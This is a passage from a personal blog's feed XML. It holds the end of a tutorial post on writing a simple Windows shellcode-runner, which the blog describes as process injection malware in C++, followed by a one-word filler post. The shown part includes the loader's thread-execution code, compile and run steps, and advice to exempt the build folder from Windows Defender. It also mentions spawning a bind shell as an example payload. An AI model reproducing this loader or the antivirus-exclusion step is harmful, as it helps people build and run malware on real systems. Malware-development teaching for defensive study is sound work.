	<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateThread</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">threadID</span><span class="p">);</span>
	
	<span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
	
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h2 id="compilation">Compilation</h2>
<p>Remember to copy and paste your shellcode. I left it blank just because shellcode is really long. On Windows, make sure to use the <code class="language-plaintext highlighter-rouge">x64 Native Tools Command Prompt</code> and not just command line or powershell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cl &lt;filename&gt;.cpp
</code></pre></div></div>

<p>You can of course use any compilation flags of your choice. Before you run your executable, make sure to make your development folder an exception in Windows Defender. Otherwise your executable will get nuked.</p>

<p>Run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;filename&gt;.exe
</code></pre></div></div>

<p>You should be able to observe whatever behavior that your shellcode runs. For example, spawning <code class="language-plaintext highlighter-rouge">calc.exe</code> or creating a bind shell.</p>
<h2 id="summary">Summary</h2>
<p>The program you just wrote is like the “Hello World” of Windows Malware Development. It is probably the simplest malware you can write, and it lacks any sort of antivirus evasion.</p>

<p>This is my first ever blog post. I kind of wrote it just to start writing stuff down. Hopefully you learned something new and enjoyed this blog post. More tutorials and content to come later down the road.</p>

<p>Thanks for reading,</p>

<p>https 🤍</p>]]></content><author><name></name></author><category term="cybersecurity" /><category term="malware" /><category term="windows" /><summary type="html"><![CDATA[Learn to write a process injection malware in C++]]></summary></entry><entry><title type="html">Random Post</title><link href="https://noth1ng-real.github.io/2026/08/post/" rel="alternate" type="text/html" title="Random Post" /><published>2026-08-08T00:00:00+00:00</published><updated>2026-08-08T00:00:00+00:00</updated><id>https://noth1ng-real.github.io/2026/08/post</id><content type="html" xml:base="https://noth1ng-real.github.io/2026/08/post/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Kablamo</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Kablamo]]></summary></entry></feed>